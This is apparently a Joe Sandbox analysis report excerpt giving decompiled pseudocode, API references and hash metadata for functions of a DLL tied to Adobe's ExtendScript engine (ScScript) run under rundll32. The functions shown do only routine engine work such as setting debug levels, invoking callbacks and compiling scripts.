					 *((intOrPtr*)( *((intOrPtr*)( *__ecx + 0xf8))))();
					 *0x1006a32c( &_v56, _v20, 0);
					_t75 =  *(__ecx + 0x1c);
					_t96 =  *((intOrPtr*)(__ecx + 0xfc));
					_v8 = 3;
					_a8 =  *(__ecx + 0x1c) >> 0x00000008 & 0x000000ff;
					E10009070(__ecx, 0);
					E100090B0(__ecx, 0);
					 *0x1006a190();
					_v8 = 4;
					E10014D00(__ecx,  &_v80, 0x2710);
					E10014DD0(_t144, 0x43, (0 | _v40 != 0x00000005) - 0x00000001 & _v48, _a4,  &_v32, _a12, 0x40);
					E10013090(_t144,  &_v80);
					 *((intOrPtr*)(_t144 + 0xfc)) = _t96;
					E10009070(_t144, _t75 & 0x000000ff);
					E100090B0(_t144, _a8);
					_v8 = 3;
					 *0x1006a184();
					_v8 = 2;
					 *0x1006a31c();
					_v8 = 1;
					 *0x1006a1c8();
				}
				 *((intOrPtr*)( *((intOrPtr*)( *_t144 + 0xc8))))( &_v24);
				_v8 = 0;
				E10018960();
				_v8 = 0xffffffff;
				 *0x1006a414();
				 *[fs:0x0] = _v16;
				return  *((intOrPtr*)(_t144 + 0xc8));
			}

0x10016de7
0x10016df2
0x10016df8
0x10016e05
0x10016e12
0x10016e19
0x10016e26
0x10016e28
0x10016e2a
0x10016e33
0x10016e38
0x10016e3b
0x10016e41
0x10016f41
0x10016e47
0x10016e4c
0x10016e51
0x10016e6b
0x10016e6f
0x10016e74
0x10016e7a
0x10016e7d
0x10016e91
0x10016e9b
0x10016e9e
0x10016ea7
0x10016eaf
0x10016ec0
0x10016ec4
0x10016ee9
0x10016ef4
0x10016efc
0x10016f02
0x10016f0d
0x10016f15
0x10016f19
0x10016f22
0x10016f26
0x10016f2f
0x10016f33
0x10016f33
0x10016f5a
0x10016f5f
0x10016f63
0x10016f6b
0x10016f72
0x10016f7d
0x10016f8b

APIs

lsetDebugLevel@Engine@ScScript@@QAEXH@Z.MAIN(00000000), ref: 10016E9E
lsetProfilingLevel@Engine@ScScript@@QAEXH@Z.MAIN(00000000), ref: 10016EA7

Part of subcall function 10014D00: lget@ESContext@ScScript@@SAAAV12@XZ.MAIN ref: 10014D1D
Part of subcall function 10014D00: lget@ESContext@ScScript@@SAAAV12@XZ.MAIN ref: 10014D35
Part of subcall function 10014D00: lgetLocalizer@Engine@ScScript@@QBEPBVLocalizer@ScCore@@XZ.MAIN ref: 10014D4E
Part of subcall function 10014D00: lgetLocalizer@Engine@ScScript@@QBEPBVLocalizer@ScCore@@XZ.MAIN ref: 10014D59

Part of subcall function 10013090: lget@ESContext@ScScript@@SAAAV12@XZ.MAIN ref: 100130CD

lsetDebugLevel@Engine@ScScript@@QAEXH@Z.MAIN(?), ref: 10016F02
lsetProfilingLevel@Engine@ScScript@@QAEXH@Z.MAIN(?), ref: 10016F0D

Memory Dump Source

Source File: 00000004.00000002.385402302.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.385397966.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385452073.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385468383.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385473323.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385478062.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: Script@@$Engine@$Level@Localizer@lset$Context@V12@lget@$Core@@DebugProfilinglget
String ID:
API String ID: 983404331-0
Opcode ID: 0f0b1287c15e9bbc1c1a7d0a2e16157908c7d0ad8ccaf1269cfecc2c173063af
Instruction ID: 21e0072249bb37265f5ea43c6485717ab5fde6006ff243ccfb01dbd5a8670d4b
Opcode Fuzzy Hash: 0f0b1287c15e9bbc1c1a7d0a2e16157908c7d0ad8ccaf1269cfecc2c173063af
Instruction Fuzzy Hash: 92518975A00219EFDB04DBA8C895FAEB7B9EF98300F10815DE516A7390DB74AA05CB61

Uniqueness

Uniqueness Score: -1.00%

Function 10017090 Relevance: 6.1, APIs: 4, Instructions: 137
COMMON

Download Yara Rule

C-Code - Quality: 42%

			E10017090(intOrPtr* __ecx, char _a4) {
				char _v8;
				char _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr* _v28;
				char _v52;
				signed int _t40;
				char* _t42;
				intOrPtr _t46;
				void* _t55;
				intOrPtr* _t56;
				intOrPtr* _t59;
				void* _t66;
				char _t108;
				intOrPtr _t109;
				intOrPtr* _t112;
				signed int _t115;
				void* _t116;

				_push(0xffffffff);
				_push(0x1005fda8);
				_push( *[fs:0x0]);
				_t40 =  *0x10094144; // 0xa412de5e
				_push(_t40 ^ _t115);
				_t42 =  &_v16;
				 *[fs:0x0] = _t42;
				_v20 = _t116 - 0x24;
				_t112 = __ecx;
				_v28 = __ecx;
				if( *((intOrPtr*)(__ecx + 0x7c)) == 0 ||  *((char*)(__ecx + 0xcd)) != 0) {
					L7:
					 *[fs:0x0] = _v16;
					return _t42;
				} else {
					_t75 =  *((intOrPtr*)(__ecx + 0x6c));
					if( *((intOrPtr*)(__ecx + 0x6c)) == 0) {
						L4:
						_t108 = _a4;
						if( *0x1006a238() == 0) {
							L9:
							 *((intOrPtr*)( *((intOrPtr*)( *_t112 + 0xa8))))(1);
							_t46 =  *((intOrPtr*)(_t112 + 0x7c));
							_v8 = 1;
							if(_t46 == 0) {
								_t109 = 0;
							} else {
								_t21 = _t46 + 4; // 0x4
								_t109 = _t21;
							}
							 *0x1006a160();
							_v24 = _t109;
							 *0x1006a3d4();
							_v8 = 2;
							 *((short*)(_t112 + 0xcd)) = 0x101;
							if(E10009120(_t112) != 0) {
								_t59 = E10009120(_t112);
								 *((intOrPtr*)( *((intOrPtr*)( *_t59 + 0x10))))(_t112);
							}
							 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t112 + 0x7c)))) + 4))))(_t112);
							if(E10009120(_t112) != 0) {
								_t87 =  *((intOrPtr*)(_t112 + 0x6c));
								if( *((intOrPtr*)(_t112 + 0x6c)) == 0) {
									_a4 = 0;
								} else {
									_a4 = E10018920(_t87);
								}
								_t56 = E10009120(_t112);
								 *((intOrPtr*)( *((intOrPtr*)( *_t56 + 0x14))))(_t112, _a4);
							}
							 *((intOrPtr*)( *((intOrPtr*)( *_t112 + 0xa8))))(0);
							 *((char*)(_t112 + 0xcd)) = 0;
							_v8 = 1;
							_t55 =  *0x1006a3d8();
							 *[fs:0x0] = _v16;
							return _t55;
						} else {
							 *0x1006a230();
							_v8 = 0;
							 *((intOrPtr*)( *((intOrPtr*)( *_t112 + 0xe8))))( *((intOrPtr*)( *((intOrPtr*)(_t112 + 0x6c)) + 0x14)), _t108,  &_v52);
							_t66 =  *0x1006a388();
							_v8 = 0xffffffff;
							if(_t66 != 0) {
								 *0x1006a1c8();
								goto L9;
							} else {
								_t42 =  *0x1006a1c8();
								goto L7;
							}
						}
					} else {
						_t42 = E10018C80(_t75);
						if(_t42 != 0) {
							goto L7;
						} else {
							goto L4;
						}
					}
				}
			}

0x10017093
0x10017095
0x100170a0
0x100170a7
0x100170ae
0x100170af
0x100170b2
0x100170b8
0x100170bb
0x100170bd
0x100170c4
0x10017133
0x10017136
0x10017144
0x100170cf
0x100170cf
0x100170d4
0x100170df
0x100170df
0x100170ec
0x1001714d
0x1001715d
0x1001715f
0x10017162
0x10017167
0x1001716e
0x10017169
0x10017169
0x10017169
0x10017169
0x10017173
0x1001717b
0x1001717e
0x10017186
0x1001718a
0x1001719a
0x1001719e
0x100171ab
0x100171ab
0x100171b6
0x100171c1
0x100171c3
0x100171c8
0x100171d4
0x100171ca
0x100171cf
0x100171cf
0x100171da
0x100171eb
0x100171eb
0x100171f9
0x100171fe
0x10017205
0x10017208
0x10017211
0x1001721f
0x100170ee
0x100170f1
0x1001710d
0x10017114
0x10017119
0x1001711f
0x1001712b
0x10017147
0x00000000
0x1001712d
0x1001712d
0x00000000
0x1001712d
0x1001712b
0x100170d6
0x100170d6
0x100170dd
0x00000000
0x00000000
0x00000000
0x00000000
0x100170dd
0x100170d4

APIs

lgetCallback@Engine@ScScript@@QBEPAVCallback@2@XZ.MAIN ref: 10017193
lgetCallback@Engine@ScScript@@QBEPAVCallback@2@XZ.MAIN ref: 1001719E
lgetCallback@Engine@ScScript@@QBEPAVCallback@2@XZ.MAIN ref: 100171BA
lgetCallback@Engine@ScScript@@QBEPAVCallback@2@XZ.MAIN ref: 100171DA

Memory Dump Source

Source File: 00000004.00000002.385402302.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.385397966.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385452073.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385468383.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385473323.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385478062.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: Callback@Callback@2@Engine@Script@@lget
String ID:
API String ID: 2532239064-0
Opcode ID: daad36c659f5512ed53bb5b451b128c81017f20634a7dbb36a878754728c04c0
Instruction ID: 265822a9d3effb634e111a25bdcbe8083d6a8de1aa4e9c275ef8494fe8bc4636
Opcode Fuzzy Hash: daad36c659f5512ed53bb5b451b128c81017f20634a7dbb36a878754728c04c0
Instruction Fuzzy Hash: 6751BE34600615EFDB04DF69C894BAEB7F5FF89250F10825DE84A9B390DB74EA81CB91

Uniqueness

Uniqueness Score: -1.00%

Function 1001B7E0 Relevance: 6.1, APIs: 4, Instructions: 136
COMMON

Download Yara Rule

C-Code - Quality: 53%

			E1001B7E0(void* __ecx, char _a4, signed int _a8, intOrPtr _a12) {
				signed int _v8;
				char _v16;
				char _v20;
				signed int _v24;
				intOrPtr* _v28;
				void* _v32;
				signed int _t53;
				signed int _t56;
				signed int _t58;
				void* _t60;
				void* _t62;
				void* _t67;
				signed int _t69;
				void* _t71;
				intOrPtr _t86;
				intOrPtr _t94;
				void* _t101;
				void* _t112;
				intOrPtr* _t115;
				intOrPtr* _t124;
				signed int _t126;

				_push(0xffffffff);
				_push(0x100607e4);
				_push( *[fs:0x0]);
				_t53 =  *0x10094144; // 0xa412de5e
				_push(_t53 ^ _t126);
				 *[fs:0x0] =  &_v16;
				_t56 = _a8;
				if(_t56 >= 0) {
					_t112 = _t56 + _t56 * 2 + _t56 + _t56 * 2 + _t56 + _t56 * 2 + _t56 + _t56 * 2 + _t56 + _t56 * 2 + _t56 + _t56 * 2 + _t56 + _t56 * 2 + _t56 + _t56 * 2;
					_t103 =  *( *((intOrPtr*)(__ecx + 0xce)) + _t112 + 0x14) >> 0xa;
					if(( *( *((intOrPtr*)(__ecx + 0xce)) + _t112 + 0x14) >> 0x0000000a & 0x00000001) == 0) {
						 *0x1006a170(_a12);
						_t58 = 0x400;
						 *( *((intOrPtr*)(__ecx + 0xce)) + _t112 + 0x14) =  *( *((intOrPtr*)(__ecx + 0xce)) + _t112 + 0x14) | 0x00000400;
						goto L10;
					} else {
						_t86 =  *0x1009415c; // 0x0
						_t60 = E100049E0(_t86, _t103,  &_a4, _a4);
						_v8 = 2;
						E100099F0( *((intOrPtr*)(__ecx + 0x6a)), 0x28, _t60, 0xffffffff, 0);
						_v8 = 0xffffffff;
						_t62 =  *0x1006a184();
						 *[fs:0x0] = _v16;
						return _t62;
					}
				} else {
					_v32 = 0;
					_v28 = 0;
					_v24 = 0;
					_v20 = 0;
					_v8 = 0;
					E1001AEF0(__ecx, _a4,  &_v32, 0);
					_t115 = _v28;
					if(( *(_t115 + 0x24) & 0x00000001) != 0) {
						_t94 =  *0x1009415c; // 0x0
						_t67 = E100049E0(_t94, _t101,  &_a4, _a4);
						_v8 = 1;
						E100099F0( *((intOrPtr*)(__ecx + 0x6a)), 0x28, _t67, 0xffffffff, 0);
						_v8 = 0;
						_t69 =  *0x1006a184();
						_t124 = _v32;
					} else {
						_t124 = _v32;
						 *((intOrPtr*)( *((intOrPtr*)( *_t115 + 0x10))))(_t124, _a12);
						_t69 =  *(_t115 + 0x24) | 0x00000005;
						 *(_t115 + 0x24) = _t69;
					}
					_t58 = _t69 | 0xffffffff;
					_v8 = _t58;
					if(_t124 == 0) {
						L10:
						 *[fs:0x0] = _v16;
						return _t58;
					} else {
						_t27 = _t124 + 0x22;
						 *_t27 =  *((intOrPtr*)(_t124 + 0x22)) + _t58;
						if( *_t27 != 0) {
							goto L10;
						} else {
							_t71 =  *((intOrPtr*)( *((intOrPtr*)( *_t124 + 0x14))))();
							 *[fs:0x0] = _v16;
							return _t71;
						}
					}
				}
			}

0x1001b7e3
0x1001b7e5
0x1001b7f0
0x1001b7f7
0x1001b7fe
0x1001b802
0x1001b80a
0x1001b811
0x1001b8d3
0x1001b8dc
0x1001b8e2
0x1001b936
0x1001b942
0x1001b947
0x00000000
0x1001b8e4
0x1001b8ef
0x1001b8f5
0x1001b902
0x1001b909
0x1001b911
0x1001b918
0x1001b921
0x1001b92f
0x1001b92f
0x1001b817
0x1001b817
0x1001b81a
0x1001b81d
0x1001b820
0x1001b82e
0x1001b831
0x1001b836
0x1001b83e
0x1001b867
0x1001b86d
0x1001b87a
0x1001b87e
0x1001b886
0x1001b889
0x1001b88f
0x1001b840
0x1001b845
0x1001b84f
0x1001b854
0x1001b857
0x1001b857
0x1001b892
0x1001b895
0x1001b89a
0x1001b94c
0x1001b94f
0x1001b95d
0x1001b8a0
0x1001b8a0
0x1001b8a0
0x1001b8a3
0x00000000
0x1001b8a9
0x1001b8b0
0x1001b8b5
0x1001b8c3
0x1001b8c3
0x1001b8a3
0x1001b89a

APIs

lgetSymbol@DataPool@ScScript@@QBE?AVString@ScCore@@H@Z.MAIN(?,?,A412DE5E), ref: 1001B86D
lsetError@Engine@ScScript@@UAEXHABVString@ScCore@@H_N@Z.MAIN(00000028,00000000,000000FF,00000000,?,?,A412DE5E), ref: 1001B87E
lgetSymbol@DataPool@ScScript@@QBE?AVString@ScCore@@H@Z.MAIN(?,?,A412DE5E), ref: 1001B8F5
lsetError@Engine@ScScript@@UAEXHABVString@ScCore@@H_N@Z.MAIN(00000028,00000000,000000FF,00000000,?,?,A412DE5E), ref: 1001B909

Memory Dump Source

Source File: 00000004.00000002.385402302.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.385397966.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385452073.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385468383.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385473323.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385478062.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: Core@@Script@@String@$DataEngine@Error@Pool@Symbol@lgetlset
String ID:
API String ID: 2181206340-0
Opcode ID: b0d9004e9644992faa1902f1f1ed754719ad00c2edb9621b79b40dbb076c455e
Instruction ID: 0fdd902594085e7d514f3aee9ae5daa1e95c0592e4073dd579c93dc0d0d6ffe5
Opcode Fuzzy Hash: b0d9004e9644992faa1902f1f1ed754719ad00c2edb9621b79b40dbb076c455e
Instruction Fuzzy Hash: 3841C076A04614EFDB04CF58D880AAEB7F9FB88360F10425EE92597380DB34B940CB94

Uniqueness

Uniqueness Score: -1.00%

Function 10009780 Relevance: 6.1, APIs: 4, Instructions: 86
COMMON

Download Yara Rule

C-Code - Quality: 25%

			E10009780(intOrPtr _a4) {
				intOrPtr _v8;
				char _v16;
				intOrPtr _v20;
				char _v24;
				signed int _t18;
				void* _t23;
				void* _t24;
				signed int _t25;
				signed int _t29;
				signed int _t31;
				intOrPtr _t37;
				intOrPtr _t39;
				intOrPtr _t44;
				void* _t47;
				intOrPtr _t48;
				void* _t50;
				signed int _t52;
				signed int _t54;

				_t18 =  *0x10094144; // 0xa412de5e
				 *[fs:0x0] =  &_v16;
				 *0x1006a3f4(_t18 ^ _t54, _t47, _t50, _t31,  *[fs:0x0], 0x1005e249, 0xffffffff);
				_v20 =  *0x1006a424();
				_t23 =  *0x1006a238();
				_t24 =  *0x1006a1d8();
				_t37 =  *0x1009415c; // 0x0
				_t25 = E10003EE0(_t37, _t24);
				_t52 = _t25;
				if((_t31 & 0xffffff00 | _t23 == 0x00000000) != 0) {
					L5:
					_t48 =  *((intOrPtr*)(_a4 + 0x6c));
					if(_t48 == 0) {
						L11:
						_t39 =  *0x1009415c; // 0x0
					} else {
						do {
							_t52 =  *(_t48 + 0x18);
							_t45 = _t52 & 0xe0000000;
							if((_t52 & 0xe0000000) == 0x60000000 || _t52 == 0x82) {
								goto L10;
							} else {
								_t39 =  *0x1009415c; // 0x0
								if(_t52 >  *((intOrPtr*)(_t39 + 4))) {
									if(E100044E0(_t39, _t52) == 0) {
										goto L11;
									} else {
										goto L10;
									}
								}
							}
							goto L12;
							L10:
							_t48 =  *((intOrPtr*)(_t48 + 4));
						} while (_t48 != 0);
						goto L11;
					}
					L12:
					_v8 = 0;
					 *0x1006a19c(E100049E0(_t39, _t45,  &_v24, _t52));
					_v8 = 0xffffffff;
					_t29 =  *0x1006a184();
				} else {
					_t29 = _t25 & 0xe0000000;
					if(_t29 == 0x60000000 || _t52 == 0x82) {
						goto L5;
					} else {
						_t44 =  *0x1009415c; // 0x0
						if(_t52 >  *((intOrPtr*)(_t44 + 4))) {
							_t29 = E100044E0(_t44, _t52);
							if(_t29 != 0) {
								goto L5;
							}
						}
					}
				}
				 *[fs:0x0] = _v16;
				return _t29;
			}

0x10009797
0x100097a2
0x100097a8
0x100097ba
0x100097bd
0x100097ca
0x100097d0
0x100097d7
0x100097dc
0x100097e0
0x1000980b
0x1000980e
0x10009813
0x1000984c
0x1000984c
0x10009815
0x10009815
0x10009815
0x1000981a
0x10009826
0x00000000
0x10009830
0x10009830
0x10009839
0x10009843
0x00000000
0x00000000
0x00000000
0x00000000
0x10009843
0x10009839
0x00000000
0x10009845
0x10009845
0x10009848
0x00000000
0x10009815
0x10009852
0x10009860
0x10009867
0x10009870
0x10009877
0x100097e2
0x100097e2
0x100097ec
0x00000000
0x100097f6
0x100097f6
0x100097ff
0x10009802
0x10009809
0x00000000
0x00000000
0x10009809
0x100097ff
0x100097ec
0x10009880
0x1000988e

APIs

ladd@DataPool@ScScript@@QAEHPBG@Z.MAIN(00000000), ref: 100097D7
l_isUInteger@DataPool@ScScript@@ABE_NH@Z.MAIN(?,00000000), ref: 10009802
l_isUInteger@DataPool@ScScript@@ABE_NH@Z.MAIN(?,00000000), ref: 1000983C
lgetSymbol@DataPool@ScScript@@QBE?AVString@ScCore@@H@Z.MAIN(00000000,00000000,00000000), ref: 10009857

Memory Dump Source

Source File: 00000004.00000002.385402302.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.385397966.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385452073.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385468383.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385473323.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385478062.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: DataPool@Script@@$Integer@l_is$Core@@String@Symbol@ladd@lget
String ID:
API String ID: 145807238-0
Opcode ID: 688aea5b5b8aecff7bb8477a805bed44d53e4b647deff49162c0092cf6ed2b26
Instruction ID: e06326c27a290972a63528a94e6d8464b32eb3a69129aa7daf550d3619fd9301
Opcode Fuzzy Hash: 688aea5b5b8aecff7bb8477a805bed44d53e4b647deff49162c0092cf6ed2b26
Instruction Fuzzy Hash: 1B31D776A001219BEB44DF95C984B9D77AAFF863D0F118119E86AA7394DF34AD40CB90

Uniqueness

Uniqueness Score: -1.00%

Function 10014D00 Relevance: 6.1, APIs: 4, Instructions: 71
COMMON

Download Yara Rule

C-Code - Quality: 30%

			E10014D00(intOrPtr __ecx, char _a4, signed int _a8) {
				void* _t24;
				intOrPtr* _t25;
				intOrPtr _t27;
				intOrPtr _t34;
				signed int _t40;
				intOrPtr* _t54;
				intOrPtr _t55;

				_t55 = __ecx;
				_t24 =  *0x1006a3fc();
				_t54 = _a4;
				_t25 = _t24 + 8;
				 *_t54 = _t25;
				 *((intOrPtr*)(_t54 + 4)) =  *_t25;
				 *_t25 = __ecx;
				_t27 =  *((intOrPtr*)(E10009E50() + 0x10));
				 *((intOrPtr*)(_t54 + 0x10)) = _t27;
				if(_t27 == 0) {
					_a4 =  *((intOrPtr*)(_t55 + 0xe0));
					 *((intOrPtr*)(E10009E50() + 0x10)) =  &_a4 - _a4;
				}
				 *((intOrPtr*)(_t54 + 8)) =  *0x1006a434();
				if(E100090E0(_t55) != 0) {
					 *0x1006a430(E100090E0(_t55));
				}
				_t40 = _a8;
				if( *((intOrPtr*)(_t55 + 0x6c)) == 0) {
					if(_t40 == 0) {
						_t40 =  *(_t55 + 0xa8);
					}
					_t34 =  *((intOrPtr*)(_t55 + 0xe4));
					if(_t34 != 0) {
						 *0x1006a19c(_t34 + 4);
					}
				}
				 *((intOrPtr*)(_t54 + 0x14)) =  *((intOrPtr*)(_t55 + 0xac));
				if(_t40 == 0) {
					 *((intOrPtr*)(_t55 + 0xac)) = 0;
					return 0;
				} else {
					 *((intOrPtr*)(_t55 + 0xac)) =  *0x1006a53c() + (0x51eb851f * _t40 >> 0x20 >> 4);
					return 0x51eb851f * _t40;
				}
			}

0x10014d06
0x10014d08
0x10014d0e
0x10014d11
0x10014d14
0x10014d18
0x10014d1b
0x10014d22
0x10014d25
0x10014d2a
0x10014d32
0x10014d40
0x10014d40
0x10014d4b
0x10014d55
0x10014d5f
0x10014d65
0x10014d6c
0x10014d6f
0x10014d73
0x10014d75
0x10014d75
0x10014d7b
0x10014d83
0x10014d8c
0x10014d8c
0x10014d83
0x10014d98
0x10014d9d
0x10014dc3
0x10014dcc
0x10014d9f
0x10014db4
0x10014dbd
0x10014dbd

APIs

lget@ESContext@ScScript@@SAAAV12@XZ.MAIN ref: 10014D1D

Part of subcall function 10009E50: l?0ESContext@ScScript@@IAE@XZ.MAIN ref: 10009E70

lget@ESContext@ScScript@@SAAAV12@XZ.MAIN ref: 10014D35
lgetLocalizer@Engine@ScScript@@QBEPBVLocalizer@ScCore@@XZ.MAIN ref: 10014D4E
lgetLocalizer@Engine@ScScript@@QBEPBVLocalizer@ScCore@@XZ.MAIN ref: 10014D59

Memory Dump Source

Source File: 00000004.00000002.385402302.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.385397966.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385452073.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385468383.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385473323.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385478062.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: Script@@$Localizer@$Context@$Core@@Engine@V12@lgetlget@
String ID:
API String ID: 390313264-0
Opcode ID: 4706c04922f75ac9104b6935026911f67efd7b732c4535044d6d51b1def79d1a
Instruction ID: b4a5f364295f2a679cc39571ae7950aed48e5ac0925b60cade34e064326ffdaf
Opcode Fuzzy Hash: 4706c04922f75ac9104b6935026911f67efd7b732c4535044d6d51b1def79d1a
Instruction Fuzzy Hash: EC2192756007019FE704DF66D884B5AFBE9FF85294F02852AE94A8B310DB70F940CF90

Uniqueness

Uniqueness Score: -1.00%

Function 10012ED0 Relevance: 6.1, APIs: 4, Instructions: 51
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E10012ED0(void* __ecx, char _a4) {
				intOrPtr _t10;
				intOrPtr* _t11;
				intOrPtr* _t14;

				_t10 =  *((intOrPtr*)(__ecx + 0xc4));
				if(_a4 == 0) {
					if(_t10 != 0) {
						_t10 = _t10 - 1;
						 *((intOrPtr*)(__ecx + 0xc4)) = _t10;
						if(_t10 == 0 &&  *((intOrPtr*)(__ecx + 0x6c)) == 0) {
							_t10 = E10009120(__ecx);
							if(_t10 != 0) {
								_t11 = E10009120(__ecx);
								return  *((intOrPtr*)( *((intOrPtr*)( *_t11 + 0x24))))(__ecx, 0x61636373, 0);
							}
						}
					}
					goto L10;
				} else {
					 *((intOrPtr*)(__ecx + 0xc4)) = _t10 + 1;
					if(_t10 != 0) {
						L10:
						return _t10;
					} else {
						_t10 = E10009120(__ecx);
						if(_t10 == 0 ||  *((intOrPtr*)(__ecx + 0x6c)) != 0) {
							goto L10;
						} else {
							_t14 = E10009120(__ecx);
							return  *((intOrPtr*)( *((intOrPtr*)( *_t14 + 0x24))))(__ecx, 0x61636373, 1);
						}
					}
				}
			}

0x10012eda
0x10012ee0
0x10012f1f
0x10012f21
0x10012f22
0x10012f28
0x10012f30
0x10012f37
0x10012f3b
0x00000000
0x10012f4f
0x10012f37
0x10012f28
0x00000000
0x10012ee2
0x10012ee5
0x10012eed
0x10012f53
0x10012f53
0x10012eef
0x10012ef1
0x10012ef8
0x00000000
0x10012f00
0x10012f02
0x10012f1a
0x10012f1a
0x10012ef8
0x10012eed

APIs

lgetCallback@Engine@ScScript@@QBEPAVCallback@2@XZ.MAIN(00086E1C,?,1002736F,00000001), ref: 10012EF1
lgetCallback@Engine@ScScript@@QBEPAVCallback@2@XZ.MAIN(00086E1C,?,1002736F,00000001), ref: 10012F02
lgetCallback@Engine@ScScript@@QBEPAVCallback@2@XZ.MAIN(00086E1C,?,1002736F,00000001), ref: 10012F30
lgetCallback@Engine@ScScript@@QBEPAVCallback@2@XZ.MAIN(00086E1C,?,1002736F,00000001), ref: 10012F3B

Memory Dump Source

Source File: 00000004.00000002.385402302.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.385397966.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385452073.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385468383.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385473323.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385478062.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: Callback@Callback@2@Engine@Script@@lget
String ID:
API String ID: 2532239064-0
Opcode ID: 692f96a611bcd4ed1d733ff1af15a9b4f1c2f687996bb9c5463ce3bb6c69e794
Instruction ID: 964f2cc87b13fe650804ac04aa2f216c71f15d7cfdb33a45dd47a31158b92242
Opcode Fuzzy Hash: 692f96a611bcd4ed1d733ff1af15a9b4f1c2f687996bb9c5463ce3bb6c69e794
Instruction Fuzzy Hash: 85017CB13006128BFB10E7649814B9BB2E4EF88380F01417DEA4DCB281DA74F9A3CB95

Uniqueness

Uniqueness Score: -1.00%

Function 1001A140 Relevance: 5.6, APIs: 2, Strings: 1, Instructions: 350COMMON

Download Yara Rule

APIs

lcompile@ScriptContainer@ScScript@@QAEHABVString@ScCore@@0@Z.MAIN(00000000,00000000), ref: 1001A376

Strings

jsx, xrefs: 1001A470

Memory Dump Source

Source File: 00000004.00000002.385402302.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.385397966.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385452073.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385468383.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385473323.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385478062.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: Container@Core@@0@ScriptScript@@String@lcompile@
String ID: jsx
API String ID: 1200972332-3771548895
Opcode ID: 70eb3b78fcced85434a55a17496082d52fa0c1cfb8c820013e954db37c7b9c5e
Instruction ID: 2b13598cb0f8a8bb12ef7dad18d5b2213f44b93ff3db4ae7f3ea40f740e82fc1
Opcode Fuzzy Hash: 70eb3b78fcced85434a55a17496082d52fa0c1cfb8c820013e954db37c7b9c5e
Instruction Fuzzy Hash: 3DE1833550025AEFDB04DFA5CC98BED7BB5FF5A310F044048E916A7291DBB4AA88CF61

Uniqueness

Uniqueness Score: -1.00%

